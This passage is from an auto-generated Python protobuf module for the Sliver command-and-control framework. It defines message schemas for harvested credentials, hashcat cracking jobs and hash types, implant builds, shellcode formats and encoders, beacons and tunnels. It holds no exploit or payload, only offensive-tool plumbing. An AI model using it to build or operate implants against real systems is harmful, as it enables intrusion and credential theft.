\x01(\t\x12\x10\n\x08Username\x18\x02 \x01(\t\x12\x11\n\tPlaintext\x18\x03 \x01(\t\x12\x0c\n\x04Hash\x18\x04 \x01(\t\x12$\n\x08HashType\x18\x05 \x01(\x0e\x32\x12.clientpb.HashType\x12\x11\n\tIsCracked\x18\x06 \x01(\x08\x12\x16\n\x0eOriginHostUUID\x18\x07 \x01(\t\x12\x12\n\nCollection\x18\x08 \x01(\t\"8\n\x0b\x43redentials\x12)\n\x0b\x43redentials\x18\x01 \x03(\x0b\x32\x14.clientpb.Credential\">\n\rCrackstations\x12-\n\rCrackstations\x18\x01 \x03(\x0b\x32\x16.clientpb.Crackstation\"\xaf\x01\n\x12\x43rackstationStatus\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x10\n\x08HostUUID\x18\x02 \x01(\t\x12\x1f\n\x05State\x18\x03 \x01(\x0e\x32\x10.clientpb.States\x12\x19\n\x11\x43urrentCrackJobID\x18\x04 \x01(\t\x12\x11\n\tIsSyncing\x18\x05 \x01(\x08\x12*\n\x07Syncing\x18\x06 \x01(\x0b\x32\x19.clientpb.CrackSyncStatus\"\x8c\x01\n\x0f\x43rackSyncStatus\x12\r\n\x05Speed\x18\x01 \x01(\x02\x12\x39\n\x08Progress\x18\x02 \x03(\x0b\x32\'.clientpb.CrackSyncStatus.ProgressEntry\x1a/\n\rProgressEntry\x12\x0b\n\x03key\x18\x01 \x01(\t\x12\r\n\x05value\x18\x02 \x01(\x02:\x02\x38\x01\"\xa1\x01\n\x0e\x43rackBenchmark\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x10\n\x08HostUUID\x18\x02 \x01(\t\x12<\n\nBenchmarks\x18\x03 \x03(\x0b\x32(.clientpb.CrackBenchmark.BenchmarksEntry\x1a\x31\n\x0f\x42\x65nchmarksEntry\x12\x0b\n\x03key\x18\x01 \x01(\x05\x12\r\n\x05value\x18\x02 \x01(\x04:\x02\x38\x01\"\x9a\x01\n\tCrackTask\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x10\n\x08HostUUID\x18\x02 \x01(\t\x12\x11\n\tCreatedAt\x18\x03 \x01(\x03\x12\x11\n\tStartedAt\x18\x04 \x01(\x03\x12\x13\n\x0b\x43ompletedAt\x18\x05 \x01(\x03\x12\x0b\n\x03\x45rr\x18\x07 \x01(\t\x12\'\n\x07\x43ommand\x18\t \x01(\x0b\x32\x16.clientpb.CrackCommand\"\xfb\x02\n\x0c\x43rackstation\x12\x0c\n\x04Name\x18\x01 \x01(\t\x12\x14\n\x0cOperatorName\x18\x02 \x01(\t\x12\x0c\n\x04GOOS\x18\x03 \x01(\t\x12\x0e\n\x06GOARCH\x18\x04 \x01(\t\x12\x16\n\x0eHashcatVersion\x18\x05 \x01(\t\x12\x10\n\x08HostUUID\x18\x06 \x01(\t\x12\x0f\n\x07Version\x18\x07 \x01(\t\x12:\n\nBenchmarks\x18\x08 \x03(\x0b\x32&.clientpb.Crackstation.BenchmarksEntry\x12\'\n\x04\x43UDA\x18\x64 \x03(\x0b\x32\x19.clientpb.CUDABackendInfo\x12)\n\x05Metal\x18\x65 \x03(\x0b\x32\x1a.clientpb.MetalBackendInfo\x12+\n\x06OpenCL\x18\x66 \x03(\x0b\x32\x1b.clientpb.OpenCLBackendInfo\x1a\x31\n\x0f\x42\x65nchmarksEntry\x12\x0b\n\x03key\x18\x01 \x01(\x05\x12\r\n\x05value\x18\x02 \x01(\x04:\x02\x38\x01\"\xc1\x01\n\x0f\x43UDABackendInfo\x12\x0c\n\x04Type\x18\x01 \x01(\t\x12\x10\n\x08VendorID\x18\x02 \x01(\x05\x12\x0e\n\x06Vendor\x18\x03 \x01(\t\x12\x0c\n\x04Name\x18\x04 \x01(\t\x12\x0f\n\x07Version\x18\x05 \x01(\t\x12\x12\n\nProcessors\x18\x06 \x01(\x05\x12\r\n\x05\x43lock\x18\x07 \x01(\x05\x12\x13\n\x0bMemoryTotal\x18\x08 \x01(\t\x12\x12\n\nMemoryFree\x18\t \x01(\t\x12\x13\n\x0b\x43UDAVersion\x18\n \x01(\t\"\xe2\x01\n\x11OpenCLBackendInfo\x12\x0c\n\x04Type\x18\x01 \x01(\t\x12\x10\n\x08VendorID\x18\x02 \x01(\x05\x12\x0e\n\x06Vendor\x18\x03 \x01(\t\x12\x0c\n\x04Name\x18\x04 \x01(\t\x12\x0f\n\x07Version\x18\x05 \x01(\t\x12\x12\n\nProcessors\x18\x06 \x01(\x05\x12\r\n\x05\x43lock\x18\x07 \x01(\x05\x12\x13\n\x0bMemoryTotal\x18\x08 \x01(\t\x12\x12\n\nMemoryFree\x18\t \x01(\t\x12\x15\n\rOpenCLVersion\x18\n \x01(\t\x12\x1b\n\x13OpenCLDriverVersion\x18\x0b \x01(\t\"\xc3\x01\n\x10MetalBackendInfo\x12\x0c\n\x04Type\x18\x01 \x01(\t\x12\x10\n\x08VendorID\x18\x02 \x01(\x05\x12\x0e\n\x06Vendor\x18\x03 \x01(\t\x12\x0c\n\x04Name\x18\x04 \x01(\t\x12\x0f\n\x07Version\x18\x05 \x01(\t\x12\x12\n\nProcessors\x18\x06 \x01(\x05\x12\r\n\x05\x43lock\x18\x07 \x01(\x05\x12\x13\n\x0bMemoryTotal\x18\x08 \x01(\t\x12\x12\n\nMemoryFree\x18\t \x01(\t\x12\x14\n\x0cMetalVersion\x18\n \x01(\t\"\x8b\x13\n\x0c\x43rackCommand\x12-\n\nAttackMode\x18\x01 \x01(\x0e\x32\x19.clientpb.CrackAttackMode\x12$\n\x08HashType\x18\x02 \x01(\x0e\x32\x12.clientpb.HashType\x12\x0e\n\x06Hashes\x18\x03 \x03(\t\x12\r\n\x05Quiet\x18\x04 \x01(\x08\x12\x12\n\nHexCharset\x18\x05 \x01(\x08\x12\x0f\n\x07HexSalt\x18\x06 \x01(\x08\x12\x13\n\x0bHexWordlist\x18\x07 \x01(\x08\x12\r\n\x05\x46orce\x18\x08 \x01(\x08\x12\x1e\n\x16\x44\x65precatedCheckDisable\x18\t \x01(\x08\x12\x0e\n\x06Status\x18\n \x01(\x08\x12\x12\n\nStatusJSON\x18\x0b \x01(\x08\x12\x13\n\x0bStatusTimer\x18\x0c \x01(\r\x12\x19\n\x11StdinTimeoutAbort\x18\r \x01(\r\x12\x17\n\x0fMachineReadable\x18\x0e \x01(\x08\x12\x14\n\x0cKeepGuessing\x18\x0f \x01(\x08\x12\x17\n\x0fSelfTestDisable\x18\x10 \x01(\x08\x12\x10\n\x08Loopback\x18\x11 \x01(\x08\x12\x15\n\rMarkovHcstat2\x18\x12 \x01(\x0c\x12\x15\n\rMarkovDisable\x18\x13 \x01(\x08\x12\x15\n\rMarkovClassic\x18\x14 \x01(\x08\x12\x15\n\rMarkovInverse\x18\x15 \x01(\x08\x12\x17\n\x0fMarkovThreshold\x18\x16 \x01(\r\x12\x0f\n\x07Runtime\x18\x17 \x01(\r\x12\x0f\n\x07Session\x18\x18 \x01(\t\x12\x0f\n\x07Restore\x18\x19 \x01(\x08\x12\x16\n\x0eRestoreDisable\x18\x1a \x01(\x08\x12\x13\n\x0bRestoreFile\x18\x1b \x01(\x0c\x12\x33\n\rOutfileFormat\x18\x1d \x03(\x0e\x32\x1c.clientpb.CrackOutfileFormat\x12\x1d\n\x15OutfileAutohexDisable\x18\x1e \x01(\x08\x12\x19\n\x11OutfileCheckTimer\x18\x1f \x01(\r\x12\x1e\n\x16WordlistAutohexDisable\x18 \x01(\x08\x12\x11\n\tSeparator\x18! \x01(\t\x12\x0e\n\x06Stdout\x18\" \x01(\x08\x12\x0c\n\x04Show\x18# \x01(\x08\x12\x0c\n\x04Left\x18$ \x01(\x08\x12\x10\n\x08Username\x18% \x01(\x08\x12\x0e\n\x06Remove\x18& \x01(\x08\x12\x13\n\x0bRemoveTimer\x18\' \x01(\r\x12\x16\n\x0ePotfileDisable\x18( \x01(\x08\x12\x0f\n\x07Potfile\x18) \x01(\x0c\x12-\n\x0c\x45ncodingFrom\x18* \x01(\x0e\x32\x17.clientpb.CrackEncoding\x12+\n\nEncodingTo\x18+ \x01(\x0e\x32\x17.clientpb.CrackEncoding\x12\x11\n\tDebugMode\x18, \x01(\r\x12\x16\n\x0eLogfileDisable\x18\x30 \x01(\x08\x12\x19\n\x11HccapxMessagePair\x18\x31 \x01(\r\x12\x1d\n\x15NonceErrorCorrections\x18\x32 \x01(\r\x12\x1d\n\x15KeyboardLayoutMapping\x18\x33 \x01(\x0c\x12\x11\n\tBenchmark\x18\x38 \x01(\x08\x12\x14\n\x0c\x42\x65nchmarkAll\x18\x39 \x01(\x08\x12\x11\n\tSpeedOnly\x18: \x01(\x08\x12\x14\n\x0cProgressOnly\x18; \x01(\x08\x12\x13\n\x0bSegmentSize\x18< \x01(\r\x12\x11\n\tBitmapMin\x18= \x01(\r\x12\x11\n\tBitmapMax\x18> \x01(\r\x12\x13\n\x0b\x43PUAffinity\x18? \x03(\r\x12\x13\n\x0bHookThreads\x18@ \x01(\r\x12\x10\n\x08HashInfo\x18\x41 \x01(\x08\x12\x19\n\x11\x42\x61\x63kendIgnoreCUDA\x18\x43 \x01(\x08\x12\x18\n\x10\x42\x61\x63kendIgnoreHip\x18\x44 \x01(\x08\x12\x1a\n\x12\x42\x61\x63kendIgnoreMetal\x18\x45 \x01(\x08\x12\x1b\n\x13\x42\x61\x63kendIgnoreOpenCL\x18\x46 \x01(\x08\x12\x13\n\x0b\x42\x61\x63kendInfo\x18G \x01(\x08\x12\x16\n\x0e\x42\x61\x63kendDevices\x18H \x03(\r\x12\x19\n\x11OpenCLDeviceTypes\x18I \x03(\r\x12\x1d\n\x15OptimizedKernelEnable\x18J \x01(\x08\x12\x1d\n\x15MultiplyAccelDisabled\x18K \x01(\x08\x12\x37\n\x0fWorkloadProfile\x18L \x01(\x0e\x32\x1e.clientpb.CrackWorkloadProfile\x12\x13\n\x0bKernelAccel\x18M \x01(\r\x12\x13\n\x0bKernelLoops\x18N \x01(\r\x12\x15\n\rKernelThreads\x18O \x01(\r\x12\x1a\n\x12\x42\x61\x63kendVectorWidth\x18P \x01(\r\x12\x10\n\x08SpinDamp\x18Q \x01(\r\x12\x14\n\x0cHwmonDisable\x18R \x01(\x08\x12\x16\n\x0eHwmonTempAbort\x18S \x01(\r\x12\x12\n\nScryptTMTO\x18T \x01(\r\x12\x0c\n\x04Skip\x18U \x01(\x04\x12\r\n\x05Limit\x18V \x01(\x04\x12\x10\n\x08Keyspace\x18W \x01(\x08\x12\x11\n\tRulesFile\x18Z \x01(\x0c\x12\x15\n\rGenerateRules\x18[ \x01(\r\x12\x1b\n\x13GenerateRulesFunMin\x18\\ \x01(\r\x12\x1b\n\x13GenerateRulesFunMax\x18] \x01(\r\x12\x1c\n\x14GenerateRulesFuncSel\x18^ \x01(\t\x12\x19\n\x11GenerateRulesSeed\x18_ \x01(\x05\x12\x16\n\x0e\x43ustomCharset1\x18` \x01(\t\x12\x16\n\x0e\x43ustomCharset2\x18\x61 \x01(\t\x12\x16\n\x0e\x43ustomCharset3\x18\x62 \x01(\t\x12\x16\n\x0e\x43ustomCharset4\x18\x63 \x01(\t\x12\x10\n\x08Identify\x18\x64 \x01(\t\x12\x11\n\tIncrement\x18\x65 \x01(\x08\x12\x14\n\x0cIncrementMin\x18\x66 \x01(\r\x12\x14\n\x0cIncrementMax\x18g \x01(\r\x12\x16\n\x0eSlowCandidates\x18h \x01(\x08\x12\x13\n\x0b\x42rainServer\x18i \x01(\x08\x12\x18\n\x10\x42rainServerTimer\x18j \x01(\r\x12\x13\n\x0b\x42rainClient\x18k \x01(\x08\x12\x1b\n\x13\x42rainClientFeatures\x18l \x01(\t\x12\x11\n\tBrainHost\x18m \x01(\t\x12\x11\n\tBrainPort\x18n \x01(\r\x12\x15\n\rBrainPassword\x18o \x01(\t\x12\x14\n\x0c\x42rainSession\x18p \x01(\t\x12\x1d\n\x15\x42rainSessionWhitelist\x18q \x01(\t\"]\n\x0b\x43rackConfig\x12\x10\n\x08\x41utoFire\x18\x01 \x01(\x08\x12\x13\n\x0bMaxFileSize\x18\x02 \x01(\x03\x12\x11\n\tChunkSize\x18\x03 \x01(\x03\x12\x14\n\x0cMaxDiskUsage\x18\x04 \x01(\x03\"`\n\nCrackFiles\x12\"\n\x05\x46iles\x18\x01 \x03(\x0b\x32\x13.clientpb.CrackFile\x12\x18\n\x10\x43urrentDiskUsage\x18\x02 \x01(\x03\x12\x14\n\x0cMaxDiskUsage\x18\x03 \x01(\x03\"\x89\x02\n\tCrackFile\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x11\n\tCreatedAt\x18\x02 \x01(\x03\x12\x14\n\x0cLastModified\x18\x03 \x01(\x03\x12\x0c\n\x04Name\x18\x04 \x01(\t\x12\x18\n\x10UncompressedSize\x18\x05 \x01(\x03\x12\x10\n\x08Sha2_256\x18\x06 \x01(\t\x12%\n\x04Type\x18\x07 \x01(\x0e\x32\x17.clientpb.CrackFileType\x12\x14\n\x0cIsCompressed\x18\x08 \x01(\x08\x12\x13\n\x0bMaxFileSize\x18\t \x01(\x03\x12\x11\n\tChunkSize\x18\n \x01(\x03\x12(\n\x06\x43hunks\x18\x64 \x03(\x0b\x32\x18.clientpb.CrackFileChunk\"J\n\x0e\x43rackFileChunk\x12\n\n\x02ID\x18\x01 \x01(\t\x12\x13\n\x0b\x43rackFileID\x18\x02 \x01(\t\x12\t\n\x01N\x18\x03 \x01(\r\x12\x0c\n\x04\x44\x61ta\x18\t \x01(\x0c*[\n\x0cOutputFormat\x12\x0e\n\nSHARED_LIB\x10\x00\x12\r\n\tSHELLCODE\x10\x01\x12\x0e\n\nEXECUTABLE\x10\x02\x12\x0b\n\x07SERVICE\x10\x03\x12\x0f\n\x0bTHIRD_PARTY\x10\x04*-\n\rStageProtocol\x12\x07\n\x03TCP\x10\x00\x12\x08\n\x04HTTP\x10\x01\x12\t\n\x05HTTPS\x10\x02*-\n\x08\x46ileType\x12\x0b\n\x07NO_FILE\x10\x00\x12\n\n\x06\x42INARY\x10\x01\x12\x08\n\x04TEXT\x10\x02*0\n\x10ShellcodeEncoder\x12\x08\n\x04NONE\x10\x00\x12\x12\n\x0eSHIKATA_GA_NAI\x10\x01*\x98\x13\n\x08HashType\x12\x07\n\x03MD5\x10\x00\x12\x08\n\x03MD4\x10\x84\x07\x12\x08\n\x04SHA1\x10\x64\x12\r\n\x08SHA2_224\x10\x94\n\x12\r\n\x08SHA2_256\x10\xf8\n\x12\r\n\x08SHA2_384\x10\xb0T\x12\r\n\x08SHA2_512\x10\xa4\r\x12\x0e\n\x08SHA3_224\x10\x94\x87\x01\x12\x0e\n\x08SHA3_256\x10\xf8\x87\x01\x12\x0e\n\x08SHA3_384\x10\xdc\x88\x01\x12\x0e\n\x08SHA3_512\x10\xc0\x89\x01\x12\x0f\n\nRIPEMD_160\x10\xf0.\x12\x10\n\x0b\x42LAKE2B_256\x10\xd8\x04\x12\x1a\n\x15GOST_R_32_11_2012_256\x10\xb4[\x12\x1a\n\x15GOST_R_32_11_2012_512\x10\x98\\\x12\x14\n\x0fGOST_R_34_11_94\x10\xf4\x35\x12\t\n\x03GPG\x10\xf2\x84\x01\x12\r\n\x08HALF_MD5\x10\xec\'\x12\x10\n\nKECCAK_224\x10\xa4\x8a\x01\x12\x10\n\nKECCAK_256\x10\x88\x8b\x01\x12\x10\n\nKECCAK_384\x10\xec\x8b\x01\x12\x10\n\nKECCAK_512\x10\xd0\x8c\x01\x12\x0e\n\tWHIRLPOOL\x10\xd4/\x12\x0c\n\x07SIPHASH\x10\xf4N\x12\x0f\n\x0bMD5_UTF16LE\x10\x46\x12\x11\n\x0cSHA1_UTF16LE\x10\xaa\x01\x12\x13\n\x0eSHA256_UTF16LE\x10\xbe\x0b\x12\x13\n\x0eSHA384_UTF16LE\x10\xf6T\x12\x13\n\x0eSHA512_UTF16LE\x10\xea\r\x12\x18\n\x13\x42LAKE2B_512_PW_SALT\x10\xe2\x04\x12\x18\n\x13\x42LAKE2B_512_SALT_PW\x10\xec\x04\x12\x0f\n\x0bMD5_PW_SALT\x10\n\x12\x0f\n\x0bMD5_SALT_PW\x10\x14\x12\x15\n\x10MD5_SALT_PW_SALT\x10\xd8\x1d\x12\x14\n\x0fMD5_SALT_MD5_PW\x10\xfe\x1c\x12\n\n\x05\x43RC32\x10\xecY\x12\x0c\n\x06\x43RC32C\x10\xfc\xd9\x01\x12\x10\n\nCRC64Jones\x10\xe0\xda\x01\x12\x11\n\x0bJAVA_OBJECT\x10\x8c\x92\x01\x12\x0c\n\x06MURMUR\x10\xe4\xc8\x01\x12\r\n\x07MURMUR3\x10\x98\xd9\x01\x12\x0e\n\tTHREE_DES\x10\x94n\x12\x08\n\x03\x44\x45S\x10\xb0m\x12\x11\n\x0b\x41\x45S_128_ECB\x10\xa1\xce\x01\x12\x11\n\x0b\x41\x45S_192_ECB\x10\xa2\xce\x01\x12\x11\n\x0b\x41\x45S_256_ECB\x10\xa3\xce\x01\x12\x0f\n\nCHA_CHA_20\x10\xa8x\x12\x1f\n\x1aLINUX_KERNEL_CRYPTO_API_24\x10\xa4q\x12\x0c\n\x07SKIP_32\x10\xb4t\x12\x14\n\x0fPBKDF2_HMAC_MD5\x10\xfc\\\x12\x15\n\x10PBKDF2_HMAC_SHA1\x10\xe0]\x12\x17\n\x12PBKDF2_HMAC_SHA256\x10\x94U\x12\x17\n\x12PBKDF2_HMAC_SHA512\x10\xc4^\x12\x0b\n\x06SCRYPT\x10\xc4\x45\x12\x0b\n\x06PHPASS\x10\x90\x03\x12\x10\n\x0bTACACS_PLUS\x10\xe4}\x12\x0f\n\nSIP_DIGEST\x10\x88Y\x12\x0c\n\x07IKE_MD5\x10\xb4)\x12\r\n\x08IKE_SHA1\x10\x98*\x12\x19\n\x13SNMP_V3_HMAC_MD5_96\x10\x8c\xc4\x01\x12\"\n\x1cSNMP_V3_HMAC_MD5_96__SHA1_96\x10\xa8\xc3\x01\x12\x1a\n\x14SNMP_V3_HMAC_SHA1_96\x10\xf0\xc4\x01\x12\x1d\n\x17SNMP_V3_HMAC_SHA224_128\x10\xcc\xd0\x01\x12\x1d\n\x17SNMP_V3_HMAC_SHA256_192\x10\xb0\xd1\x01\x12\x1d\n\x17SNMP_V3_HMAC_SHA384_256\x10\x94\xd2\x01\x12\x1d\n\x17SNMP_V3_HMAC_SHA512_384\x10\xa4\xd5\x01\x12\x15\n\x10WPA_EAPOL_PBKDF2\x10\xc4\x13\x12\x12\n\rWPA_EAPOL_PMK\x10\xc5\x13\x12\x1c\n\x16WPA_PBKDF2_PMKID_EAPOL\x10\xf0\xab\x01\x12\x19\n\x13WPA_PMK_PMKID_EAPOL\x10\xf1\xab\x01\x12\x16\n\x10WPA_PMKID_PBKDF2\x10\xa0\x83\x01\x12\x13\n\rWPA_PMKID_PMK\x10\xa1\x83\x01\x12\x19\n\x14IPMI2_PAKP_HMAC_SHA1\x10\x84\x39\x12\r\n\x08\x43RAM_MD5\x10\xd8O\x12\t\n\x03JWT\x10\xf4\x80\x01\x12\x0e\n\x08RADMIN_3\x10\x90\xe4\x01\x12\x19\n\x13KERBEROS_17_TGS_REP\x10\x90\x99\x01\x12\x19\n\x13KERBEROS_17_PREAUTH\x10\xd8\x9a\x01\x12\x14\n\x0eKERBEROS_17_DB\x10\x80\xe1\x01\x12\x19\n\x13KERBEROS_18_TGS_REP\x10\xf4\x99\x01\x12\x19\n\x13KERBEROS_18_PREAUTH\x10\xbc\x9b\x01\x12\x14\n\x0eKERBEROS_18_DB\x10\xe4\xe1\x01\x12\x1f\n\x1aKERBEROS_23_SA_REQ_PREAUTH\x10\xcc:\x12\x18\n\x13KERBEROS_23_TGS_REP\x10\xac\x66\x12\x18\n\x12KERBEROS_23_AS_REP\x10\x98\x8e\x01\x12\x10\n\x0bNET_NTLM_V1\x10\xfc*\x12\x14\n\x0eNET_NTLM_V1_NT\x10\xf8\xd2\x01\x12\x10\n\x0bNET_NTLM_V2\x10\xe0+\x12\x14\n\x0eNET_NTLM_V2_NT\x10\xdc\xd3\x01\x12\x0b\n\x05\x46LASK\x10\xac\xe3\x01\x12\x0f\n\nISCSI_CHAP\x10\xc0%\x12\t\n\x04RACF\x10\xb4\x42\x12\r\n\x08\x41IX_SMD5\x10\x9c\x31\x12\x0e\n\tAIX_SSHA1\x10\xac\x34\x12\x10\n\x0b\x41IX_SSHA256\x10\x80\x32\x12\x10\n\x0b\x41IX_SSHA512\x10\xe4\x32\x12\x07\n\x02LM\x10\xb8\x17\x12\r\n\x07QNX_MD5\x10\xb8\x94\x01\x12\x10\n\nQNX_SHA256\x10\x9c\x95\x01\x12\x10\n\nQNX_SHA512\x10\x80\x96\x01\x12\x19\n\x14\x44PAPI_V1_CTX_1_AND_2\x10\xc4w\x12\x13\n\x0e\x44PAPI_V1_CTX_3\x10\xcew\x12\x19\n\x14\x44PAPI_V2_CTX_1_AND_2\x10\x9c|\x12\x13\n\x0e\x44PAPI_V2_CTX_3\x10\xa6|\x12\x0b\n\x06GRUB_2\x10\xa0\x38\x12\x12\n\rMS_AZURE_SYNC\x10\x80\x64\x12\x0f\n\nBSDI_CRYPT\x10\xf0`\x12\t\n\x04NTLM\x10\xe8\x07\x12\x0c\n\x07RADMIN2\x10\xacM\x12\x14\n\x0fSAMSUNG_ANDROID\x10\xa8-\x12\x17\n\x11WINDOWS_HELLO_PIN\x10\xc4\xdb\x01\x12\x12\n\rWINDOWS_PHONE\x10\xe8k\x12\x12\n\rCISCO_ASA_MD5\x10\xea\x12\x12\x1c\n\x17\x43ISCO_IOS_PBKDF2_SHA256\x10\xf0G\x12\x15\n\x10\x43ISCO_IOS_SCRYPT\x10\xd4H\x12\x12\n\rCISCO_PIX_MD5\x10\xe0\x12\x12\x1a\n\x15\x43ITRIX_NETSCALER_SHA1\x10\xa4?\x12\x1d\n\x17\x43ITRIX_NETSCALER_SHA512\x10\xb8\xad\x01\x12\x08\n\x03\x44\x43\x43\x10\xcc\x08\x12\t\n\x04\x44\x43\x43\x32\x10\xb4\x10\x12\x0f\n\nMACOS_10_8\x10\xbc\x37\x12\x0c\n\x07INVALID\x10\x8fN\x12\x10\n\x0b\x42\x43RYPT_UNIX\x10\x80\x19\x12\x16\n\x11SHA512_CRYPT_UNIX\x10\x88\x0e*2\n\x06States\x12\x08\n\x04IDLE\x10\x00\x12\x0c\n\x08\x43RACKING\x10\x01\x12\x10\n\x0cINITIALIZING\x10\x02*<\n\x0e\x43rackJobStatus\x12\x0f\n\x0bIN_PROGRESS\x10\x00\x12\r\n\tCOMPLETED\x10\x01\x12\n\n\x06\x46\x41ILED\x10\x02*\x94\x01\n\x0f\x43rackAttackMode\x12\x0c\n\x08STRAIGHT\x10\x00\x12\x0f\n\x0b\x43OMBINATION\x10\x01\x12\x0e\n\nBRUTEFORCE\x10\x03\x12\x18\n\x14HYBRID_WORDLIST_MASK\x10\x06\x12\x18\n\x14HYBRID_MASK_WORDLIST\x10\x07\x12\x0f\n\x0b\x41SSOCIATION\x10\t\x12\r\n\tNO_ATTACK\x10\n*D\n\rCrackEncoding\x12\x14\n\x10INVALID_ENCODING\x10\x00\x12\x0f\n\x0bISO_8859_15\x10\x01\x12\x0c\n\x08UTF_32LE\x10\x02*\x90\x01\n\x12\x43rackOutfileFormat\x12\x12\n\x0eINVALID_FORMAT\x10\x00\x12\r\n\tHASH_SALT\x10\x01\x12\t\n\x05PLAIN\x10\x02\x12\r\n\tHEX_PLAIN\x10\x03\x12\r\n\tCRACK_POS\x10\x04\x12\x16\n\x12TIMESTAMP_ABSOLUTE\x10\x05\x12\x16\n\x12TIMESTAMP_RELATIVE\x10\x06*c\n\x14\x43rackWorkloadProfile\x12\x1c\n\x18INVALID_WORKLOAD_PROFILE\x10\x00\x12\x07\n\x03LOW\x10\x01\x12\x0b\n\x07\x44\x45\x46\x41ULT\x10\x02\x12\x08\n\x04HIGH\x10\x03\x12\r\n\tNIGHTMARE\x10\x04*N\n\rCrackFileType\x12\x10\n\x0cINVALID_TYPE\x10\x00\x12\x0c\n\x08WORDLIST\x10\x01\x12\t\n\x05RULES\x10\x02\x12\x12\n\x0eMARKOV_HCSTAT2\x10\x03\x42/Z-github.com/bishopfox/sliver/protobuf/clientpbb\x06proto3') + +_builder.BuildMessageAndEnumDescriptors(DESCRIPTOR, globals()) +_builder.BuildTopDescriptorsAndMessages(DESCRIPTOR, 'clientpb.client_pb2', globals()) +if _descriptor._USE_C_DESCRIPTORS == False: + + DESCRIPTOR._options = None + DESCRIPTOR._serialized_options = b'Z-github.com/bishopfox/sliver/protobuf/clientpb' + _TRAFFICENCODERMAP_ENCODERSENTRY._options = None + _TRAFFICENCODERMAP_ENCODERSENTRY._serialized_options = b'8\001' + _IMPLANTBUILDS_CONFIGSENTRY._options = None + _IMPLANTBUILDS_CONFIGSENTRY._serialized_options = b'8\001' + _CREATETUNNEL.fields_by_name['TunnelID']._options = None + _CREATETUNNEL.fields_by_name['TunnelID']._serialized_options = b'0\001' + _CLOSETUNNELREQ.fields_by_name['TunnelID']._options = None + _CLOSETUNNELREQ.fields_by_name['TunnelID']._serialized_options = b'0\001' + _WEBCONTENT.fields_by_name['Size']._options = None + _WEBCONTENT.fields_by_name['Size']._serialized_options = b'0\001' + _WEBSITEADDCONTENT_CONTENTSENTRY._options = None + _WEBSITEADDCONTENT_CONTENTSENTRY._serialized_options = b'8\001' + _WEBSITE_CONTENTSENTRY._options = None + _WEBSITE_CONTENTSENTRY._serialized_options = b'8\001' + _HOST_EXTENSIONDATAENTRY._options = None + _HOST_EXTENSIONDATAENTRY._serialized_options = b'8\001' + _SHELLCODEENCODERMAP_ENCODERSENTRY._options = None + _SHELLCODEENCODERMAP_ENCODERSENTRY._serialized_options = b'8\001' + _CRACKSYNCSTATUS_PROGRESSENTRY._options = None + _CRACKSYNCSTATUS_PROGRESSENTRY._serialized_options = b'8\001' + _CRACKBENCHMARK_BENCHMARKSENTRY._options = None + _CRACKBENCHMARK_BENCHMARKSENTRY._serialized_options = b'8\001' + _CRACKSTATION_BENCHMARKSENTRY._options = None + _CRACKSTATION_BENCHMARKSENTRY._serialized_options = b'8\001' + _OUTPUTFORMAT._serialized_start=14632 + _OUTPUTFORMAT._serialized_end=14723 + _STAGEPROTOCOL._serialized_start=14725 + _STAGEPROTOCOL._serialized_end=14770 + _FILETYPE._serialized_start=14772 + _FILETYPE._serialized_end=14817 + _SHELLCODEENCODER._serialized_start=14819 + _SHELLCODEENCODER._serialized_end=14867 + _HASHTYPE._serialized_start=14870 + _HASHTYPE._serialized_end=17326 + _STATES._serialized_start=17328 + _STATES._serialized_end=17378 + _CRACKJOBSTATUS._serialized_start=17380 + _CRACKJOBSTATUS._serialized_end=17440 + _CRACKATTACKMODE._serialized_start=17443 + _CRACKATTACKMODE._serialized_end=17591 + _CRACKENCODING._serialized_start=17593 + _CRACKENCODING._serialized_end=17661 + _CRACKOUTFILEFORMAT._serialized_start=17664 + _CRACKOUTFILEFORMAT._serialized_end=17808 + _CRACKWORKLOADPROFILE._serialized_start=17810 + _CRACKWORKLOADPROFILE._serialized_end=17909 + _CRACKFILETYPE._serialized_start=17911 + _CRACKFILETYPE._serialized_end=17989 + _VERSION._serialized_start=59 + _VERSION._serialized_end=190 + _CLIENTCONSOLELOGDATA._serialized_start=192 + _CLIENTCONSOLELOGDATA._serialized_end=240 + _SESSION._serialized_start=243 + _SESSION._serialized_end=677 + _BEACON._serialized_start=680 + _BEACON._serialized_end=1181 + _BEACONS._serialized_start=1183 + _BEACONS._serialized_end=1227 + _BEACONTASK._serialized_start=1230 + _BEACONTASK._serialized_end=1399 + _BEACONTASKS._serialized_start=1401 + _BEACONTASKS._serialized_end=1469 + _IMPLANTC2._serialized_start=1471 + _IMPLANTC2._serialized_end=1530 + _IMPLANTCONFIG._serialized_start=1533 + _IMPLANTCONFIG._serialized_end=2634 + _TRAFFICENCODER._serialized_start=2636 + _TRAFFICENCODER._serialized_end=2729 + _TRAFFICENCODERMAP._serialized_start=2732 + _TRAFFICENCODERMAP._serialized_end=2887 + _TRAFFICENCODERMAP_ENCODERSENTRY._serialized_start=2814 + _TRAFFICENCODERMAP_ENCODERSENTRY._serialized_end=2887 + _TRAFFICENCODERTEST._serialized_start=2889 + _TRAFFICENCODERTEST._serialized_end=3006 + _TRAFFICENCODERTESTS._serialized_start=3009 + _TRAFFICENCODERTESTS._serialized_end=3161 + _EXTERNALIMPLANTCONFIG._serialized_start=3163 + _EXTERNALIMPLANTCONFIG._serialized_end=3246 + _EXTERNALIMPLANTBINARY._serialized_start=3248 + _EXTERNALIMPLANTBINARY._serialized_end=3340 + _IMPLANTBUILDS._serialized_start=3343 + _IMPLANTBUILDS._serialized_end=3486 + _IMPLANTBUILDS_CONFIGSENTRY._serialized_start=3415 + _IMPLANTBUILDS_CONFIGSENTRY._serialized_end=3486 + _COMPILERTARGET._serialized_start=3488 + _COMPILERTARGET._serialized_end=3574 + _CROSSCOMPILER._serialized_start=3576 + _CROSSCOMPILER._serialized_end=3666 + _COMPILER._serialized_start=3669 + _COMPILER._serialized_end=3855 + _DELETEREQ._serialized_start=3857 + _DELETEREQ._serialized_end=3882 + _DNSCANARY._serialized_start=3885 + _DNSCANARY._serialized_end=4014 + _CANARIES._serialized_start=4016 + _CANARIES._serialized_end=4065 + _UNIQUEWGIP._serialized_start=4067 + _UNIQUEWGIP._serialized_end=4091 + _IMPLANTPROFILE._serialized_start=4093 + _IMPLANTPROFILE._serialized_end=4164 + _IMPLANTPROFILES._serialized_start=4166 + _IMPLANTPROFILES._serialized_end=4227 + _REGENERATEREQ._serialized_start=4229 + _REGENERATEREQ._serialized_end=4265 + _JOB._serialized_start=4267 + 